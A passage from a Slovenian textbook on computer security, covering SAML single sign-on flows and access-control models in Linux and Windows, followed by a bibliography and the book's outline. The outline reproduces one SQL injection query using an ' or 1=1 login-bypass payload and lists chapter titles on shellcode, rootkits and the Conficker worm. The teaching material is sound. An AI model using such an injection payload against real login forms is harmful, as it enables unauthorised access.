3.HTTP SSL 3.0 ali TLS 1.0 overitev strežnika z njegovim potrdilom (server-side certificate). 4.HTTP SSL 3.0 ali TLS 1.0 vzajemna overitev strežnika in odjemalca s potrdiloma (server-side and client-side certificate). Vedno kadar zahtevamo tajnost ali integriteto sporočila, mora stran, ki daje izjave (responder) uporabiti http SSL 3.0 ali TLS 1.0 šifriranje s strežnikovim potrdilom Prenos informacij med spletišči Kot smo navedli že na začetku, je SAML definiran z namenom, da omogoči enkratno prijavo (SSO) uporabnikom medmrežnih storitev. V okviru SAML to vsebuje prijavo na izvornem spletnem mestu (source site), to je na kakšnem skrbniku identitete (Identity Provider), nato pa uporabo storitev na ciljnih spletnih mestih (destination site), brez ponovnih prijav. Informacije med dvema spletiščema pri enkratni prijavi, prenašamo z običajnim brskalnikom: 1.SAML artefakt: je majhen niz, ki se prenese do ciljnega spletišča in v nadaljevanju s ciljnega spletišča neposredno nazaj na izvorno ter enolično referencira varnostno trditev (assertion). 2.S HTML POST formo: SAML trditve se po potrditvi naložijo v brskalnikovo HTML formo in prenesejo do ciljnega spletišča, kot del HTTP POST bremena. Piškotki se v ta namen ne uporabljajo, ker bi v tem primeru obe spletišči morali pripadati isti domeni. Enkratna prijava s SAML artefaktom Brskalnik Izvorno spletisce Ciljno Spletisce 1 2 3 4 5 6 Slika 1: Potek enkratne prijave s pomočjo SAML artefakta Denimo, da se je uporabnik, s pomočjo varnega kanala overil na izvornem spletišču. Nato: 1. Na izvornem spletišču izbere medspletno storitev prenosa (Inter-Site Transfer Service), to je povezava na ciljno spletišče. Izvorno spletišče tvori ustrezno SAML trditev z artefaktom in jo shrani v svoj predpomnilnik. 2. Uporabnikov brskalnik preusmeri na ciljno spletišče, pri čemer posreduje tudi artefakt trditve. 3. Uporabnik na ciljnem spletišču izbere ustrezno storitev, ciljno spletišče prebere artefakt. 4. Ciljno spletišče od izvornega zahteva varnostne trditve, potrebne za uporabo njegovih storitev. Zahteve legitimira z enim ali več artefakti. 5. Izvorno spletišče odgovori z ustreznimi varnostnimi trditvami. 6. Ciljno spletišče izvede želeno storitev in rezultat posreduje uporabniku. Vse te interakcije morajo potekati po varnem kanalu. Nadvse pomembno je, da nepooblaščene osebe, ne pridobijo veljavnega artefakta, saj bi lahko z njegovo pomočjo izvajali storitve (npr. plačevali), na račun legalnega uporabnika. Enkratna prijava s HTML POST formo Brskalnik Izvorno spletisce Ciljno Spletisce 1 2 3 4 Slika 2: Enkratna prijava s HTML POST formo Vidimo, da sta pri tem postopku, dva koraka manj in da izvorno in ciljno spletišče, med seboj ne komunicirata neposredno. Če ponovno predpostavimo, da se je uporabnik, že overil, na izvornem spletišču. Nato: 1. Na izvornem spletišču izbere medspletno storitev prenosa (Inter-Site Transfer Service), to je povezava na ciljno spletišče. 2. Izvorno spletišče tvori ustrezno HTML formo, v kateri je celotna varnostna trditev (assertion) potrebna za uporabo storitve na ciljnem spletišču. 3. Uporabnikov brskalnik posreduje formo s trditvijo ciljnemu spletišču. 4. Ciljno spletišče poslano trditev obdela in na tej podlagi, uporabniku, bodisi odobri ali zavrne izvedbo storitve. Tudi tu je zaželjeno, da komunikacija poteka po varnem kanalu, posebej pomembno je, da nepooblaščene osebe, ne pridobijo varnostne trditve, saj bi lahko z njeno pomočjo, izvajale storitve v imenu legalnega uporabnika. Ker je SAML standard načrtovan le za varno izmenjavo informacij za enkratno prijavo na ločena spletišča, ne opredeljuje, kako izvorna stran oziroma organ generiranja varnostnih trditev, izvaja overitev uporabnikov. Uporablja lahko npr. PKI, zgoščevanje ali gesla. Sklep Označevalni jezik za varnostne trditve, ki temelji na XML, predstavlja infrastrukturo potrebno za enkratno prijavo na več domensko različnih, čeprav poslovno povezanih, spletnih mest. Osnova jezika so varnostne trditve (Security Assertion), ki jih tvorijo izvorne strani. Standard sestavlja še protokol zahteva-odgovor, ki določa, kako lahko odvisna stran preveri uporabnika, ki želi uporabljati njene storitve (ne da bi se tudi pri njej overil), pri izvorni strani. Protokol je v končni fazi izveden s pomočjo spletnih storitev in http, na višjem nivoju, pa izvorna stran, uporabnikov brskalnik in odvisna stran, varno izvajajo enkratno prijavo z artefakti ali HTML POST formami. http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=security Še en primer uporabe SAML protokola Zahteva odvisne strani SAML izdajatelju varnostnih trditev za atribut »Dohodek_Delavca« Primer 2: SAML izdajatelj v odgovoru izjavlja, da se je uporabnik pri njem overil z geslom, 14.januarja 2004 ob deseti uri in dvajset sekund po univerzalnem času Vidimo, da odgovor ni povsem to, kar smo želeli, med drugim smo od izvorne strani želeli atribut »Dohodek_Delavca« za uporabnika z oznako »ivan«, dobili pa smo le izjavo o overitvi, dobimo namreč vse varnostne trditve, v katerih je uporabnik enak tistemu iz zahteve, ne glede ali gre za overitev, atribut(e) ali odločitev o pravici izvedbe storitve oziroma uporabe vira. V našem primeru atribut morda ne obstaja. E Kontrola dostopa v Linux in Windows Uvod Kontrola dostopa je osnovna zaščita računalniških virov pred zlorabo, nedovoljenim dostopom, omogoča vzpostavitev reda . V operacijskih sistemih UNIX je v uporabi že dolgo, medtem ko je v operacijskih sistemih Windows, bila vpeljana šele z datotečnim sistemom NTFS v Windows NT. Vendar se je v njih hitro razvijala in pred Unixom vpeljala revizijo (auditing) . Za namen kontrole dostopa je specificirano več modelov. Najbolj znan je DACL, ki je bil tudi najprej razvit , z rastjo zahtevnosti, povezovanja v omrežja in občutljivostjo podatkov na računalnikih, rastejo novi modeli, obstoječi pa se izboljšujejo. Varnostni modeli za kontrolo dostopa DACL – Discretionary Access Control Lists Pri tej obliki kontrole dostopa lastnik vira določi, kakšne pravice, bo kdo imel. To je trenutno najbolj razširjen model, tako v operacijskih sistemih Windows, kot Linux. Če primerjamo DACL kontrolo dostopa med Linux in Windows, ugotovimo, da je v Windows kontrola bolj dodelana, nudi več možnosti. V Windows je DACL sestavljen iz ACE (Access Control Entries). Ti so tipa prepovedi (deny) in tipa dovoljeno (allow). Določamo jo lahko za vse vrste objektov . Osnovni (in največ uporabljan) DACL model v Linuxu določa le pravice branja (read), pisanja (write) in izvajanja (execute), za lastnika (owner), skupino v kateri je lastnik (group) ter za vse druge – torej tiste, ki niso ne lastnik in ne člani skupine lastnika (other). SACL – System Access Control Lists Ime je povzeto po Microsoftovem imenu tehnologije za revizijo (auditing) in omogoča vpogled akcij, ki so uspele (successful) ali spodletele (failed). Prav tako, kot pri DACL so tudi kontrolne liste za revizijo sestavljene iz ACE vnosov, le da ne gre za dovoljene oziroma prepovedane akcije, temveč le ali je akcija uspela ali ne. Pri Linuxu dolgo časa ni bilo funkcionalnosti, ki bi omogočala revizijo. Sicer so obstajala nekatera orodja, ki pa v večino različic niso bila vključena, bila so tudi funkcionalno omejena. Na Linux-u je bilo najtežje vključiti prav revizijo. Sedaj je to rešeno, saj LAuS (Linux Auditing Subsystem) omogoča skoraj vse, kar omogoča npr. Windows 2003 Server. MAC – Mandatory Access Control Za ta model je značilno, da kreator objekta ne more določiti pravic dostopa do njega, ne sebi, ne drugim. Pri tem modelu vse pravice določi administrator. Zaradi tega je MAC diametralno nasproten DACL modelu, tako da se (na istem objektu) izključujeta. Operacijski sistem Windows Vista vsebuje MAC in sicer, kot Mandatory Integrity Control. Omogočen je tudi na več različicah Linuxa. Na primer: SELinux, Red Hat Linux server in Suse Linux (z AppArmor). RBAC – Role Based Access Control RBAC oziroma na vlogah temelječa kontrola dostopa, postavlja v ospredje razne delovne funkcije, ki so prirejene vlogam. Vlogam so nato dodeljena dovoljenja za operacije, tako da pravic ne dodeljujemo neposredno subjektom. Velja, da je subjekt lahko član več vlog in vloga ima lahko več subjektov in več dovoljenj ter različne vloge lahko imajo isto dovoljenje. Dokazano je, da se RBAC model razlikuje tako od DACL, kot tudi od MAC. RBAC model je implementiran v Microsoft Active Directory-u, SELinux-u, sistemu za upravljanje podatkovnih baz Oracle, SAP R/3 in v več drugih produktih. Kontrolni seznami dostopa v Linux Pod prejšnjo točko smo že povedali, da ima vsaka različica Linuxa skladna s POSIX 1 vsaj minimalni nabor kontrolnih seznamov dostopa. Ta nabor ima samo tri vnose: možnosti rwx (r – read, w – write, x – execute) za lastnika vira, rwx možnosti za skupino lastnika ter iste možnosti za preostale uporabnike (Slika 1). Posamezne možnosti lahko spreminjamo z ukazi chmod in umask (vključujemo in izključujemo r, w in x) . L: lastnik (owner) S: skupina v kateri je lastnik (group) O: ostali (other) L S O -|rwx|rwx|rwx Slika 1: Minimalni kontrolni seznam dostopa v Linux Kljub temu, da so minimalni kontrolni seznami dostopa dokaj robustni, večkrat potrebujemo dodatno funkcionalnost. Zato je nastala delovna skupina POSIX 1003.1e/1003.2c, ki si je za cilj zadala rešitev problemov povezanih s kontrolo dostopa. Ker je bil cilj preambiciozen, se je po nekaj letih razšla, ne da bi končala delo. Vseeno je nekaj njenih rešitev, danes vgrajenih v večino UNIX/LINUX sistemov. Najpomembnejša rešitev te delovne skupine je razširitev kontrolnih seznamov za dostop (Slika 2). Poleg vnosov za lastnika, lastnikovo skupino in ostale, lahko vsebujejo še poljubno število imenovanih uporabnikov (named users) in imenovanih skupin (named groups). Tako imenovani uporabniki, kot imenovane skupine spadajo v razred skupin (group class), ki vedno vsebuje še lastnikovo skupino. Ker skupino sestavlja več različnih vnosov z različnimi množicami dovoljenj, ACL razredne skupine kot celote ne zadostuje za določitev pravic posameznim članom. Zaradi tega je v razširjene ACL dodano polje za masko (mask). To polje vsebuje supermnožico pravic razreda skupin . Lastnik: user::rwx Imenovan uporabnik:user:ime:rwx Lastnikova skupina:group::rwx Razred skupin Imenovana skupina:group:ime:rwx Maska razreda skupin:mask::rwx Drugi:other::rwx Slika 2: Razširjeni kontrolni seznami dostopa Potem, ko je potrebno ugotoviti dejanske pravice posameznega člana v razredu skupin, izvedemo logično operacijo IN (AND) med pravicami člana in pravicami maske. Dosedaj smo govorili samo o tako imenovanih dostopnih ACLjih (access ACL). Poleg njih poznamo še privzete ACL (default ACL). Privzete ACLje določamo le imenikom. V primeru, da so na nadrejenem imeniku določeni privzeti ACLji, vsi imeniki pod njim dedujejo te ACLje. Ti imeniki dedujejo tudi dostopne ACLje. Dostopni ACLi datotek v podrejenih imenikih so enaki privzetim ACLjem nadrejenega imenika . V Linuxu so ACLji implementirani s pomočjo razširjenih atributov (EA - Extended Atributes). Ti atributi so tipa: ime – vrednost in so del objekta, podobno kot so spremeljivke okolja procesa (process environment variables). Lahko se kopirajo med uporabnikom in jedrom operacijskega sistema. Žal se vsaj pri datotečnima sistemoma Ext2 in Ext3 performanse drastično poslabšajo . Problem je tudi, da vsa orodja za delo z datotečnim sistemom, še vedno nimajo podpore za razširjene ACL-je. To se posebej nanaša na Upravljalnike datotek (File Manager), urejevalnike za datoteke (Editor) in arhiverje . Program Samba (ki omogoča deljenje (sharing) imenikov in datotek, med Linux in Windows operacijskimi sistemi), omogoča, da Windows odjemalec določa pravice razširjenih ACLjev v Linuxu. Žal se implementaciji v osnovi toliko razlikujeta, da povsem neopazna integracija ni mogoča. RSBAC ogrodje za Linux RSBAC (Rule Set Based Access Control) ni varnostni model za kontrolo dostopa, temveč prilagodljivo, zmogljivo ogrodje (framework), ki ne zahteva mnogo dodatnih virov kljub dodatni funkcionalnosti. Temelji na odprti kodi in zaenkrat deluje le na jedrih za Linux (t.j. jedrih različic 2.4 in 2.6) . Osnova za implementacijo je delo GFAC (Generalized Framework for Access Control) avtorjev Abhrams-a in LaPadula, ki predstavlja rešitev problemov povezanih s kontrolo dostopa . RSBAC vsebuje module za modele DACL, MAC, RC (Role Compatibility), poleg tega je mogoče enostavno razviti dodatne, specifične module, tako za druge znane, kot tudi za nove varnostne modele . Modela DACL in MAC smo že predstavili. Role Compatibility (RC) pa je model, ki je bil na novo razvit posebej pri RSBAC. Vsebuje prvine modelov (že opisanega) RBAC ter DTE (Domain and Type Enforcement), vendar ni popolnoma enak nobenemu od njih . Slika 3: RSBAC ogrodje Kadar subjekt (uporabnik ali proces) zahteva določen vir (objekt) , programski tok: 1.Dostopi do AEF (Access control Enforcement Facility) 2.Pridobi sistemske vrednosti. 3.Za odločitev vpraša ADF (Access control Decision Facility). 4.ADF preveri vse vnose v podatkovnih strukturah odločitvenih modulov. 5.Če so v njih ustrezna dovoljenja, se programski tok vrne na AEF, z dovoljenjem ali zavrnitvijo. 6.Če je šlo za zavrnitev, AEF obvesti subjekt, da je prišlo do napake. 7.Če je dostop dovoljen, subjekt pridobi normalni dostop do vira. 8.Če pri dostopu ni prišlo do zavrnitve ali napake, AEF obvesti ADF. 9.Posodobi podatkovne strukture odločitvenih modulov. 10.ADF to potrdi AEF. 11.AEF vrne programski tok in podatke nazaj k procesu. RSBAC je obetavno ogrodje, problem so mogoče vseeno performanse in potrebni viri (čeprav avtorji trdijo, da ne) ter morda tudi varnostne ranljivosti v produktu, čeprav jih do sedaj niso odkrili veliko (in so odkrite že popravljene). Audit na Linux Audit na Linuxu (kot tudi Windows) temelji na zahtevah CAPP (Controlled Access Protection Profile), ki je izveden iz razreda C2 specifikacij TCSEC (Trusted Computer System Evaluation Criteria) ameriškega ministrstva za obrambo iz decembra 1985. Sorodna – strožja specifikacija je LSPP (Labeled Security Protection Profile), ki spada v razred B1 TCSEC. Ta predpisuje zahteve tudi za MAC model dostopa in audit za MAC. Linux v osnovi ni imel vgrajenega sistema za audit, toda zaradi velikega uspeha, so se zanj začela zanimati velika podjetja in javna uprava. Ker pa morajo sistemi v javni upravi (vsaj v ZDA), imeti audit, je komuna razvijalcev odprte kode, razvila Linux Audit Subsystem (LAuS), ki je zdaj na voljo za vse pomembne distribucije Linuxa . Celoten audit na Linuxu je sestavljen iz podsistema, ki je v jedru operacijskega sistema, prikritega procesa (daemon-a) v uporabniškem prostoru in skrbniških orodij za upravljanje z auditom. Beležijo se zapisi povezani s klici sistemskih funkcij, overitve uporabnikov, dostopi do datotečnega sistema itd. . Ker trenutno jedro Linuxa (2.6 vanilla) ne vsebuje podsistema za audit, ga je potrebno dodati, kot popravek (patch). Proces se lahko poveže s podsistemom za audit, samo če ima pravico (capability) CAP_SYS_ADMIN. To lahko stori z vhodno izhodnimi ukazi oziroma z uporabo funkcij iz knjižnic LAuS. Pri tem proces pridobi več atributov, npr. Login ID, Audit ID in druge. Vsak podproces (child) deduje nekatere atribute od staršev. Proces se lahko loči od LAuS pod istimi pogoji, kot pri povezovanju, samodejno ob zaključku izvajanja. Ima pa še dodatno možnost, da prekine povezavo, potem pa jo čez nekaj časa povrne (suspend/resume) . Seznami za kontrolo dostopa na Windows Operacijski sistemi Windows do Windows Vista vsebujejo modela DACL in SACL (ter RBAC v aktivnem imeniku). Vista pa vsebuje tudi MAC (ki ga imenuje MIC – Mandatory Integrity Control). Na sliki 4 so prikazane podatkovne strukture, potrebne za implementacijo kontrole dostopa v Windows 2003 Server. Najprej imamo Subjekte, ki predstavljajo uporabnike in njihove procese. Vsak uporabnik ima svoj SID (Security Identifier), seznam pravic in druge podatke. Ko se uporabnik overi, pridobi svoj dostopni žeton (Access Token), v katerem so poleg prej omenjenih, še SID-i skupin, katerih član je uporabnik. Ko nato uporabnikov proces potrebuje določen objekt (direktorij, datoteka, registry ključ, semafor, mutex ...), sistem preveri ali ima proces ustrezne pravice. Vsak objekt ima svoj varnostni opisnik (Security Descriptor), v katerem so tudi ACE (Access Control Entries) za DACL (pravice uporabe) in SACL (beleženje dostopov do objekta oz. audit) . Subjekt Uporabnikov žeton (Access Token) Varnostni Varnostni določevalec določevalci Seznam (SID) (SIDs) pravic Drugi podatki uporabnika uporabnikovih skupin Objekt Varnostni opisnik (Security Descriptor) Varnostni SACL DACL določevalec Varnostni 1. ACE 1. ACE (SID) lastnika določevalec 2.ACE 2.ACE objekta (SID) skupine ... ... Slika 4: Podatkovne strukture za kontrolo dostopa v Windows 2003 Server Podrejeni objekti (datoteke v imeniku, podimeniki itd.) praviloma dedujejo DACL in SACL po svojih nadrejenih objektih, kar pa je mogoče tudi preprečiti. Tako lahko prepovemo dedovanje po »starših« objekta in dedovanje »otrok« po izbranem objektu. Mogoče je tudi spremeniti lastnika objekta – če imamo za to ustrezne pravice (Take ownership) . ACE so osnovni elementi, ki tvorijo DACL in SACL skupine. Pri DACL skupini so tipa prepovedano ali dovoljeno (Deny, Allow), pri SACL pa uspelo ali spodletelo (Success, Failure). Sklep Leta 1985 je Ministrstvo za obrambo ZDA, izdalo prve javne specifikacije (TCSEC) v katerih je podalo varnostne zahteve, ki jih mora izpolnjevati operacijski sistem, da je lahko uvrščen v katerega od razredov. Večinoma so bili najbolj znani operacijski sistemi uvrščeni v razred C2, sedaj pa vse bolj stremijo k razredu B1. Za kontrolo dostopa se še vedno največ uporablja model DACL, vendar so običajno na voljo tudi SACL (v Windows) oziroma LAuS (v Linux), RBAC (Active Directory, SELinux) in MAC (Windows Vista (MIC) in SELinux) Na razširitvi DACL modela za Linux delala skupina združena v projekt POSIX 1003.e/1003.c2. Ker si je zadala preobsežni cilj, dela ni dokončala. Vseeno je nekaj njenih rezultatov vključenih v Linux. Obetaven projekt je ogrodje RSBAC, ki temelji na GFAC in omogoča vključitev različnih vrst kontrol dostopa v Linux. Sedaj je za Linux navoljo tudi audit (revizija) podsistem LAuS, ki med drugim omogoča pregled dostopov do računalnika in datotečnega sistema. Pričakujemo lahko, da se bodo modeli za kontrolo dostopa še razvijali, posebej gre razvoj v smeri vse podrobnejšega določanja pravic dostopa in vse podrobnejšega vpogleda v dogodke. Literatura Microsoft: Microsoft Windows Vista Security Advancements, 2006 Greg Hoglund, Gary McGraw: Exploiting Software: How to break code, Addison-Wesley, 2004 Michael Howard and David LeBlanc: Writing Secure Code, Microsoft 2003 Intersect Alliance: Snare, http://www.intersectalliance.com/projects/Snare/, 2007 Linux audit: http://people.redhat.com/sgrubb/audit/, 2007 Timothy R. Chavez: A Look At Linux Audit, http://expo.pistonbroke.com/content/sessions/S11/S11Baudit_lwe_final_v4.pdf, 2007 Wikipedia: Capability-based security, http://en.wikipedia.org/wiki/Capability-based_security, 2007 Antony Ma Yue Kit: OS Auditing, http://www.pisa.org.hk/event/eventlog_os_auditing.pdf, 2007 SAL – Secure Auditing for Linux: http://secureaudit.sourceforge.net, 2007 SDSC Secure Syslog: http://security.sdsc.edu/software/sdsc-syslog, 2007 SNARE – System iNtrusion Analysis and Reporting Environment: https://sourceforge.net/projects/snare/, 2007 Andreas Grunbacher: POSIX Access Control Lists on Linux, http://www.suse.de/~agruen/acl/linux-acls/online/, 2007 RSBAC – Rule Set Based Access Control, http://www.rsbac.org/, 2007 Edi Strosar: Dvigovanje privilegijev: do skrbnika in nazaj, Revija Monitor, 07/2006 Naslov: Računalniška varnost in šifriranje Avtor: Ivan Verdonik Avtorske pravice: Ivan Verdonik Oblikovanje naslovnice: Marjan Šetar Tisk na zahtevo Elektronska verzija dostopna na: http://www.biblos.si/ Leto izida: 2015 Izdajatelj: Založba Ibis Maribor - Slovenija CIP - Kataložni zapis o publikaciji Narodna in univerzitetna knjižnica, Ljubljana 004.056(0.034.2) VERDONIK, Ivan Računalniška varnost in šifriranje [Elektronski vir] / Ivan Verdonik. - El. knjiga. - Maribor : Ibis, 2015. ISBN 978-961-93607-8-1 (pdf) 279715840 Document Outline 1 Uvod 2 Nevarnosti pri skriptnih jezikih v spletnih aplikacijah 2.3 Perl in Perl CGI 2.3.1 Perl in ničelni znak 2.3.2 Težave s poševnicami 2.3.3 Težave s cevmi 2.3.4 Veljavnost znakov v UTF-8 zapisu 2.3.5 Preprečevanje napadov s skripti med spletnimi mesti 2.3.6 Preprečevanje SQL vrivanja SELECT * FROM uporabniki WHERE uporabnik = ''' or 1=1' and up_geslo = ''' or 1=1' 2.4 PHP 2.4.1 Globalne spremenljivke 2.4.2 Vključevanje datotek z medmrežja 2.4.3 Nalaganje uporabnikovih datotek 2.4.4 Seje 2.4.5 Klici zunanjih funkcij 2.5 Zaključek 2.6 Viri in literatura 3 Prekoračitve vmesnika (Buffer Overflow) 3.1 Uvod 3.2 Osnove 3.3 Prekoračitev sklada 3.4 Varno kodiranje 3.5 Zaščita s prevajalniki 3.6 Zaščita pri povezovanju programa 3.7 Oteževanje zlorabe na nivoju operacijskega sistema 3.8 Oteževanje zlorabe na nivoju strojne opreme 3.9 Sklep 3.10 Viri informacij 4 Varnostni problemi pri uporabi kopice 4.2 Delovanje kopice v oknih 4.2.1 Polje FreeLists 4.2.2 Polje Lookaside Lists 4.2.3 Algoritma za alokacijo in sproščanje prostora na kopici 4.3 Zloraba kopice v Oknih 2000 – XP SP 1 4.4 Varnostne izboljšave kopice v Oknih XP SP 2 4.5 Zloraba kopice v XP SP2 in 2k3 SP1 4.6 Sklep 4.7 Viri in Literatura 5 Lupinska koda in kodirniki 5.1 Uvod 5.2 Lupinska koda 5.2.1 Izvedba poljubne kode (arbitrary code execution) 5.2.2 Vrnjena lupina (reverse shell). 5.2.3 Povezava na vrata (portbind). 5.2.4 Odkrivanje vtičnice (findsocket) 5.2.5 Snemi/poženi (Download/Execute) izvedljivo datoteko. 5.2.6 Družina večkoračnih oblik nalaganja lupinske kode (Staged Loading Shellcode). 5.2.7 Vbrizganje dinamične knjižnice (DLL Injection). 5.3 Kodirnika 5.3.1 Pridobivanje naslova trenutne instrukcije 5.3.2 Delovanje (de)kodirnikov 5.3.3 (De)kodirniki s kontekstnimi ključi. 5.4 METASPLOIT 5.5 SKLEP 5.6 VIRI IN LITERATURA 6 ROOTKITI IN OKNA 6.1 Uvod (kaj je rootkit in čemu služi ) 6.2 Instalacija jedrnega rootkita sestavljenega v obliki samostojnega gonilnika 6.3 Skrivanje rootkit gonilnikov 6.4 Zmogljivosti rootkit gonilnika 6.5 Hooking 6.5.1 Hooking na nivoju jedra (Kernel Hooking) 6.5.2 Hooking tabele SST 6.5.3 Hooking tabele IDT 6.5.4 Hooking SYSENTER 6.5.5 Hooking na uporabniškem nivoju (Userland Hooking) 6.5.6 Hooking na uporabniškem nivoju s tabelo IAT 6.5.7 Inline Function Hooking 6.5.8 Hibridni hooking 6.6 Neposredna manipulacija z objekti v jedru 6.7 Skrivanje procesov z DKOM 6.8 Skrivanje gonilnikov z DKOM 6.9 Dvigovanje pravic procesov 6.10 Skriti kanali (COVERT CHANNELS) 6.11 Zaščita pred rootkiti 6.12 Zaznavanje rootkitov 6.13 Zaznavanje nenavadnega obnašanja 6.14 Sklep 6.15 Viri in Literatura 7 Analiza črva conficker 7.1 Uvod 7.2 Zgodovina in osnovne značilnosti 7.3 Različica Conficker.A 7.4 Različica Conficker.B 7.5 Različica Conficker.C 7.6 Različica Conficker.D 7.7 Različica Conficker.E 7.8 Opis ranljivosti 7.9 Posodabljanje s http 7.10 Posodabljanje vsak z vsakim (P2P – Peer-to-Peer) 7.12 Sklep 7.13 Viri in literatura 8 Avtorska zaščita digitalnih vsebin 8.1 Uvod 8.2 Načini preprečevanja nelegalne uporabe digitalnih vsebin 8.2.1 Uvod 8.2.2 Zaščita preko omejitve multipliciranja materialnih nosilcev digitalnih vsebin 8.2.3 Serijske številke 8.2.4 Serijske številke ter protokol odgovor na zahtevo 8.2.5 Strojna avtorska zaščita s strojnim ključem 8.2.6 Zaščita glasbe in filmov 8.3 Kako učvrstiti zaščito 8.4 Sklep 8.5 Literatura 9 Načini overjanja in napadi 9.1 Uvod 9.2 Enosmerna funkcija (Oneway Function) 9.3 Pomen overjanja 9.4 Protokoli za vzpostavitev ključa za overjanje s pomočjo šifriranja (Protocols for Authenticated Key Establishment Using Encryption) 9.4.1 Protokol od A do B 9.4.2 Protokol od A do B s ključem za sejo 9.4.3 Napadi na protokol od A do B s ključem za sejo 9.4.4 Protokol za overjanje sporočil (Protocol Message Authentication) 9.4.5 Napad s ponovnim pošiljanjem sporočila (Message Replay Atack) 9.4.6 Protokol poziv-odgovor (protocol challenge-response Needham-Schroeder) 9.4.7 Protokol za overjanje entitet (Protocol With Entity Autentication) 9.4.8 Protokol z javnim ključem 9.4.9 Napad na protokol z javnim ključem 9.5 Literatura 10 Tehnike overjanja v praksi (ZARADI OBŠIRNOSTI TEMATIKE VSE NI OBDELANO - ŠKRBINE) 10.1 Uvod 10.2 Osnovne tehnike overjanja 10.2.1.Kontrola svežosti sporočil in živosti entitet Mehanizem izziv-odgovor (Challenge-Response) 10.3. Obojestranska overitev (Mutual Authentication) 10.4 Overitve z uporabo Trent-a (Trusted Third Party) 10.4.1 Kerberos 10.5 Overitve na osnovi gesla (PAKE - Password-Autheticated Key Agreement) 10.5.1 Needham's Password Protocol 10.5.2 Shema z enkratnimi gesli (One-time Password Scheme) 10.5.3 Izmenjava šifriranega ključa (EKE Encrypted Key Exchange) 10.5.4. SRP (Secure Remote Password protocol) 10.6 IPSec 10.7 IKE (Internet Key Exchange) protokol 10.8 STS (Station-to-Station) protokol 11.2 Matematične osnove 11.3 Diskretni logaritem (Discrete Logarithm) 11.4 Diffie-Helmann izmenjava ključa 11.5 Eliptične krivulje 11.6 Diffie-Helmann z eliptičnimi krivuljami 11.7 Elgamal šifriranje 11.8.RSA 11.8.1 Generiranje ključev za RSA 11.8.2 Šifriranje in dešifriranje z RSA 11.8.3 Razdeljevanje ključev 11.9 Sklep 11.10 Viri in literatura 12 Simetrični šifrirni algoritmi 12.1 Uvod 12.2 Klasične šifrirne metode 12.2.1 Zamenjava znakov (Substitution Cipher) 12.2.2 Večabecedna šifriranja (Polyalphabetic Ciphers) 12.2.3 Vernamovo šifriranje (Vernam Cipher) 12.2.4 Šifriranja s premešanjem znakov (Transposition Ciphers) 12.3 Moderni simetrični blokovni šifrirni algoritmi 12.3.1 DES (Data Encryption Standard) 12.3.2 Triple DES 12.3.3 AES (Advanced Encryption Standard) 12.4 Načini operacij (Block Cipher Modes of Operation) 12.6 Sklep 12.7 Literatura 13 Celovitost podatkov (Data Integrity) 13.2 Definicija celovitosti podatkov 13.3 Simetrični algoritmi 13.4. Kriptografske zgoščevalne funkcije 13.5 Celovitost in overitev sporočil z zgoščevalnimi funkcijami s ključem (HMAC) 13.6 Celovitost in overitev sporočil z blokovnimi simetričnimi šifrirnimi algoritmi 13.7 Asimetrični algoritmi in elektronski podpisi 13.8 Elektronski podpis z ElGamal (ElGamal signature scheme) 13.9 DSA (Digital Signature Algorithm) 13.10 Schnorr-ov elektronski podpis (Schorr signature) 13.11 Elektronski podpis z eliptičnimi krivuljami (Elliptic Curve DSA) 13.12 Izvedba in vrste kriptografskih zgoščevalnih funkcij (Cryptographic Hash Functions) 13.12.1 MD5 (Message-Digest Algorithm 5) 13.12.2 SHA-1 (Secure Hash Algorithm 1) 13.13 Literatura 14 Kriptografske zgoščevalne funkcije 14.1 Uvod 14.2 Kriptografske zgoščevalne funkcije 14.2.3 Konstrukcija Sponge 14.3 Funkcija Keccak 14.3.1 Glavni algoritem Keccak 14.4 Sklep 14.5 Literatura A KRIPTOGRAFSKA zgoščevalna funkcija BLAKE UVOD KRIPTOGRAFSKE ZGOŠČEVALNE FUNKCIJE KOMPRESIJSKE FUNKCIJE BLAKE kriptografska zgoščevalna funkcija ZAKLJUČEK VIRI IN LITERATURA B Kriptografska zgoščevalna funkcija Groestl Uvod Kriptografska zgoščevalna funkcija Groestl AddRoundConstant Zaključek Literatura C Kriptografska zgoščevalna funkcija JH Uvod JH Funkcija runde (Round function) ,𝑹-𝒅. Bijektivna funkcija (Bijective function) ,𝑬-𝒅. Kompresijska funkcija (Compression function) ,𝑭-𝒅. Zaključek Literatura D SAML – Označevalni jezik za varnostne trditve Več o SSO SAML Trditev (Assertion ) SAML Protokol Izvedba SAML protokola Prenos informacij med spletišči Enkratna prijava s SAML artefaktom Enkratna prijava s HTML POST formo Sklep E Kontrola dostopa v Linux in Windows Uvod Varnostni modeli za kontrolo dostopa DACL – Discretionary Access Control Lists SACL – System Access Control Lists MAC – Mandatory Access Control RBAC – Role Based Access Control Kontrolni seznami dostopa v Linux RSBAC ogrodje za Linux Audit na Linux Seznami za kontrolo dostopa na Windows Sklep Literatura